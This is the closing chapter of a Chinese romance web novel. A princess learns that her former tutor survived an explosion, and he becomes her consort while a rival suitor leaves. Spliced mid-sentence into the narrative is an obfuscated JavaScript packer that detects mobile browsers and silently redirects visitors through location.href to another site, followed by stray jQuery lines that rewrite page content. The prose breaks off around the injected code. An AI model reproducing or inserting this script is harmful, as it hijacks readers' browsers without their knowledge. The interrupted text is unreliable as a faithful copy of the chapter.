54. 尾声
作品:《太傅,陛下说你不是断袖》 叶韶自然不会回应。
他如一尊玉雕美人,静静躺在那里,无论是爱是恨,都已经不再在乎。
这个人再也无法逃走了,他彻底地属于了她,她再也不用担心他的别扭、怯懦、口不对心,他将永远乖顺地依偎在她身边,永远爱她,也永远被她爱着。
姜望舒拉开被子,躺在他的身侧,就好像曾经在值房的那一夜。
“有时候我真恨你。”她开口,声音轻得像是呢喃,不知道说给谁听,“我喜欢你的时候,你要逃跑;我不喜欢你的时候,你又要死缠烂打,真是贱骨头……”
“叶韶,我这一辈子,要什么有什么,可偏偏对你,我得不到也看不透,我永远都斗不过你。你想让我放你走,我就得放你走,你想让我原谅你,我就得原谅你……”
“可就算是这样,我还是喜欢你,偏偏就喜欢你,嘴里说着恨,心里却恨不起来,越千山对我再好,我心里也只惦记着你……”
她嘴角勾起一个自嘲的笑:“叶韶,我……也是贱骨头。”
“你知道吗?其实在军中大比的那一天,我就已经原谅了你,原来你也愿意向我靠近,为我改变,我只是……不想让你知道。”
她停住了,好像喉咙里鲠着什么东西,要很艰难地咽下,才能接着说:“我害怕,害怕你的改变只是暂时的,害怕你有一天又想离开我。”
有泪水从她眼角无声落下:“叶韶,不止你一个人在恐惧无法掌控的关系,我也在怕。跟你在一起,我永远都是输家。”
“可是,现在好了,你就乖乖躺在这里,哪里也不会去啦。”她着魔一般,贴上他的胸口,“叶韶,我们可以永远在一起了。”
可是她脸刚贴上去,便感觉到了不对,这人的胸口怎么还有心跳声?
头上忽然一暖,一只手摸了摸她的头发,笑问道:“殿下,你说的是真的吗?”
姜望舒吓得一个激灵坐起来,再看叶韶,虽然面色不好看,但那双眼睛皎皎如月,哪里是死了的样子?
她的心好像从高空直接坠下深渊,结果在摔在地上之前,又被一阵强风卷上九重天,悲喜大起大落,一时间竟然不知道做何反应,瞪着眼指着他,半晌说不出一句话。
她现在算是知道自己“诈死还生”时叶韶的心情了,真是能让人活活折寿十年,真是天理循环,报应不爽。
好半天,她才找回来自己的声音,怒道:“你、你装死骗我?”
叶韶无奈道:“谁说臣死了啊?臣昨天只是受到火药爆炸冲击,一时闭住了气而已。”
“那你刚才为什么不睁开眼睛!”
叶韶苦笑:“殿下,臣是真的昏迷了。”
他侧头示意,姜望舒这才看清楚,他的右臂包着厚厚的绷带,尚有血迹不断渗出。
“臣的手臂断了,神医废了一夜的力气,这才把臣的手臂接上。方才臣没有醒来,是因为神医用了麻沸散。”
姜望舒这才消了气:“那……方才的话你都听到多少?”
“全听到了。”
什、什么?
姜望舒的脸腾一下红了:“不是昏迷了吗!那怎么能听到我说话!”
“臣的药效本就要过了,迷迷糊糊中能听清外面的动静,就是睁不开眼睛而已。”叶韶眼睛亮晶晶的,“幸好如此,否则,臣还听不到您说真心话。”
姜望舒又羞又恼:“什么真心话!你听错了!”
叶韶微微皱眉:“真的?可您明明说,要跟臣一直在一起,您可是金口玉言,怎么能说话不算?”
姜望舒让他气得这会儿身上都不疼了,愤愤踹了他一脚,就要下地。
叶韶哎呦一声捂住了手臂,姜望舒吓了一跳:“疼吗?可我没踢到你伤口啊……”
“臣是在心疼殿下。”叶韶垂下睫毛,“原来,被人弃之而去是这种滋味,当真是如万刃穿心之痛……殿下,臣从前不应该这样对您,臣有今日断手之祸,都是臣的报应。”
姜望舒的心顿时软了,又坐回床边,摸摸他的手臂:“不是已经接上了吗?”
叶韶苦笑:“皮肉虽然缝合了,但哪有那么轻易就能复原如初?神医说了,这只手日后使用起来会不灵便,细致的动作都不能做了。”
姜望舒的心顿时提了起来:“都有什么动作不能做?”
“臣不能再握笔了。”叶韶说的云淡风轻,但姜望舒仍然能够听得出来他话语中的深深遗憾,“臣不能再写字,也不能为您画像了,武器也握不住……”
说到最后,他终究是露出一丝苦涩:“殿下,臣……已经是个废人了。”
“什么废人!”姜望舒怒气冲冲地打断他,“你不要说这些话,神医还在这里,没有什么治不好的!你只管安心调养,你的手一定会好的!”
“可是,臣以什么名义留在这里呢?”叶韶抬起脸,定定凝望着她,“臣已经不是太傅,现在,臣的手臂已经残废,也无法继续在禁门关服役……”
他微微蹙眉,一脸为难:“殿下清誉何其重要,臣无名无分的跟着您,又算是怎么回事呢?”
图穷匕见,姜望舒没好气的白了他一眼:“那你说,你算是什么?”
叶韶乖觉地回应道:“殿下说臣是什么,臣就是什么,为奴为婢,做牛做马,臣都甘之如饴。”
这话耳熟,叶韶这人,还真是处处卖弄旧情。姜望舒眯起眼来,戏谑道:“那也好。你从前不愿与本宫成亲,纵使回头悔悟,本宫也不可能以驸马之位待你……”
“若你真的决心与本宫在一起,就做本宫的面首吧。”
她这话是半开玩笑的,谁知道,叶韶毫不犹豫地答应了下来:“好啊。”
姜望舒反而愣住了:“……你知道面首是做什么的吧?又不怕别人说你是佞幸了?”
叶韶眼睛都不眨:“面首要容色娇嫩,臣已经二十七岁高龄,能蒙殿下不弃,收为面首,已经十分幸运了。”
“生前能侍奉殿下,叶韶心愿已足,死后之事,由他去吧。从前的叶太傅已经辞官归隐,我现在只想做您的叶韶,只要殿下高兴,臣做佞幸也很好。”
姜望舒反而不知道说什么好,眨巴着眼睛,一时间说不出话来。
叶韶当她是默认,微笑着用未曾受伤的胳膊拉着姜望舒,将她卷入了自己的怀中。
一个吻落在了她的嘴唇上,这一次,是真正的吻。
姜望舒被他的气息密密包裹,头晕目眩,再说不出一个字。
营帐中只剩下紊乱的呼吸声,他的鼻息轻轻拂动她的肌肤,从前叶韶不能教给她的东西,现在,他倾囊相授。
碳炉上的药汤咕嘟咕嘟冒着热气,药香飘动,苦味回甘。姜望舒想,原来吻不止是止痛剂,还是蜂蜜饴糖,让人尝了又想再尝。
她捧着叶韶的脸,将这块觊觎了多年的“糖果”一口吞下,久久不愿松开。
也许,她命中注定,就是好这一口。兜兜转转,她想要与之共度余生的人,还是他。
暮色四合时,姜望舒从营帐中走出,她看上去似乎睡了一小觉,脸上神色极为滋润。
她一出来,就叮嘱士兵将叶韶的行李搬到自己的营帐去,越千山在一边看着,心中苦涩。
看到他,姜望舒脸上浮现出丝丝愧疚,最终还是开口道:“对不起,我……”
越千山无奈地摇摇头:“算了,什么都不必说了,我明白。”
他望了营帐一眼:“从你把他留在这里的那天起,我便预料到会有今日。”
姜望舒艰难道:“师兄,你的心我都知道,但是……我只能做你的妹妹。”
越千山拍拍她的肩膀:“这话,你不必说了,我听了并不会好受多少,反而要配合你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223661|196238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做出大度的样子,怪难受的。”
他指尖紧了又紧,最终还是问道:“你想好了?这人可是有好几次前科的,若是他有一天又要离开你,你怎么办?”
“叶韶不会再离开公主的。”
帘子一动,叶韶吊着胳膊从里面走出来,他直视越千山,一字一句,说得郑重:“叶韶自知配不上公主,不敢妄想成为公主的夫君。我余生只愿衔草结环,以面首的身份侍奉公主。”
越千山万万没想到他会这样做,一时间惊愕不已:“你疯了吗?”
叶韶的回答无比认真:“叶韶穷尽毕生心力,方能再次回到公主身边,自然不敢奢望其他,从今后,只有公主抛弃叶韶,叶韶绝无可能离开公主。”
他声音朗朗,全军营的人都在听着,姜望舒心中欢喜,把头高高昂了起来。
叶韶含笑握住了她的手,十指相扣,再不分离。
越千山再说不出什么,他知道,一切已经尘埃落定。
也许,该到了他离开的时候了。
越千山离开的那天,是一个明媚无云的好天气。
他骑着马,依然是那副江湖客的打扮,脸上的笑容云淡风轻,似乎只是要去秋游。
姜望舒与叶韶骑马为他送别,五里短亭,十里长亭,到了此处,大家都知道,分别的时候就要到了。
“送君千里,终须一别,之后的路,我自己走吧。”越千山在马上潇洒地拱拱手,与他们作别。
路边杨柳依依,姜望舒折下一枝青嫩的柳条,别在他的衣襟上:“若有心情,经常回来看我们。”
越千山垂下眼睫,看她指尖擦过自己的胸口:“……你需要我的时候,我会回来的。”
叶韶上前一步,不着痕迹地隔开了两人:“殿下以柳赠别,我也有礼物赠给叶大人,还请莫要嫌弃。”
他自袖中抽出一条鲜亮发带,双手递上。
那发带做工精细,色做大红,上绣一条苍龙,绣工精美,气魄威严,十分适合武者佩戴。
越千山扫了一眼那发带,没有接过来。
叶韶将发带向前送:“越大人何必如此?旧的不去,新的不来,大家都该向前看了。”
越千山摇摇头:“人人都爱新鲜,偏我不爱。旧衣最舒服,旧鞋最柔软,旧梦最难醒……
他嘴角勾起自嘲的笑:“月有阴晴圆缺,山峦永无转移,我已经什么都没有了,便给我留点小小的念想吧。”
叶韶不再坚持,垂下手去。
“走了,小公主。”越千山对着她挥挥手,“若是有一天腻了这个面首,只管给我送个信,天涯海角,我一定回来。”
说罢,他策马而去,马蹄在古道扬起尘沙,再不回头。
姜望舒望着他的背影,怅然若失,久久不愿回首。
叶韶起先还忍着,到最后终于沉不住气了:“殿下瞧了许久,还没瞧够?若这般不舍得,臣为您把他追回来如何?”
姜望舒这才回头斜睨他一眼:“好啊,你去吧。”
叶韶被她噎住,红涨着脸不知道如何是好。
姜望舒看得有趣:“怎么不动了?你不是说过,要听本宫的话,衔草结环,为奴为婢吗?”
叶韶只得磨磨蹭蹭往前追了两步,马蹄子蹬踏了半天,还没挪出三米。
姜望舒看他那个样子,再也憋不住,噗嗤一声笑了出来。
叶韶转过头看着她,满目无奈:“殿下,您现在开心了吗?”
“还用问吗?”姜望舒得意地牵过他的手,“好了,咱们也回去吧,不用担心地位不保,只要我还没腻了你,你就始终是我身边唯一的面首。”
夕阳古道,玉人携手缓缓归。
此后寒暑春夏,终有一人能并辔而行,再无隔阂猜忌,如斯,便是圆满一生,何必再有他求?
【全文完】

